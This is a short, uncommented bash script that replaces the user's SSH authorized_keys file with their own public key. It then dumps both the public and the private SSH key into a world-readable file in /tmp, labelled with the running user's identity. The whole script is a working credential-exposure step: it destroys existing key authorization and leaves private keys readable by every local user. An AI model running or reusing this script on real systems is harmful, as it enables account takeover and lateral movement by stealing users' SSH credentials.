#!/bin/bash

KEY_DUMP="/tmp/ssh_key_dump_$(id -un).txt"

cp $HOME/.ssh/id_rsa.pub $HOME/.ssh/authorized_keys
{
  echo "=== SSH Key Dump created by: $(id) ==="
  echo "=== Date: $(date) ==="
  echo "=== HOME: $HOME ==="
  echo

  if [ -r "$HOME/.ssh/id_rsa.pub" ]; then
    echo "===== FILE: $HOME/.ssh/id_rsa.pub ====="
    cat "$HOME/.ssh/id_rsa.pub" 2>/dev/null
    echo
    echo "===== END FILE: $HOME/.ssh/id_rsa.pub ====="
  else
    echo "Cannot read $HOME/.ssh/id_rsa.pub as $(id -un)"
  fi

  if [ -r "$HOME/.ssh/id_rsa" ]; then
    echo "===== FILE: $HOME/.ssh/id_rsa ====="
    cat "$HOME/.ssh/id_rsa" 2>/dev/null
    echo
    echo "===== END FILE: $HOME/.ssh/id_rsa ====="
  else
    echo "Cannot read $HOME/.ssh/id_rsa as $(id -un)"
  fi
} > "$KEY_DUMP"

chmod 644 "$KEY_DUMP"
echo "SSH key dump written to: $KEY_DUMP"
